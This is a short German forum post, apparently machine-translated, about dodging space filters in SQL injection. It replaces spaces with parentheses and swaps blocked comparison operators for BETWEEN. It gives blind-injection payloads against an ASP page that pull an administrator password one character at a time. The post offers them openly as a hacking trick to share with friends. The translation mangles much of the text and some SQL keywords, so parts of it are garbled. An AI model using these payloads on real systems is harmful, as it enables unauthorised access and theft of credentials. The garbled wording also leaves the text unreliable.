In Bezug auf Räume gibt es viele alternative Methoden, wie z. B. Tabläume und / ** / in SQL -Datenbanken, aber ich fand eine andere alternative Methode, die in der Ausgabe von "Hacker Manual" 2006.7 veröffentlicht wurde. Hier wählen wir die Essenz und lasst uns einen Blick darauf werfen!
Für SQL -Aussagen ist jeder immer noch an ihre Räume gewöhnt, wie z. B. SelectIdFrom [Name]. Wenn es keinen Platz in der Mitte gibt, wird es ausgewähltfrom [Name] und es ist verwirrt! Zusätzlich zu den alternativen Methoden einiger oben genannter Räume stellte ich fest, dass auch in SQL () Klammern mit () Klammern ausgeführt werden können. Beispielsweise kann die obige Anweisung als Auswahl (ID) aus [Name] geschrieben werden, durch Klammern getrennt und normal ausgeführt werden.
Zum Beispiel erhalten wir einen Injektionspunkt: jmdcw.asp? Name = aa'and1 = 1and '' = ', wenn Sie die Anweisung ersetzen, dass 1 = 1 das Kennwort des Abfrageadministrators ist: (selectac (Mid (Pass, 1,1)) aus [Name] wobei = 1)> 49. Wie benutze ich Räume? Eigentlich kann es so geschrieben werden:
jmdcw.asp? name = aa'and ((select (mid (mid (pass, 1,1))) aus [name] wobei (id = 1))> 49) und '' = '
Wenn die <- und> -Symbole blockiert sind, verwenden Sie zwischen… und… und die Aussage lautet:
jmdcw.asp? name = aa'and ((select (mid (mid (pass, 1,1))) aus [name] wobei (id = 1)) zwischen (40) und (50)) und '' = ''
Für Orte, an denen Leerzeichen in der Mitte erscheinen sollten, verwenden Sie (), um sie zu ersetzen, aber für sehr komplexe SQL -Anweisungen ist es nicht einfach zu verwenden. Das oben erwähnte ist Zeichentyp. Wenn es sich um einen numerischen Typ handelt, können Sie nach ID = 1 eine Klammer hinzufügen. Ich habe dies jedoch nicht getestet, zum Beispiel: jmdcw.asp? Id = (1) und (select ......). Es sollte machbar sein, oder?
Haha, lasst uns zusammenfassen und mit Freunden auf LoveShell teilen.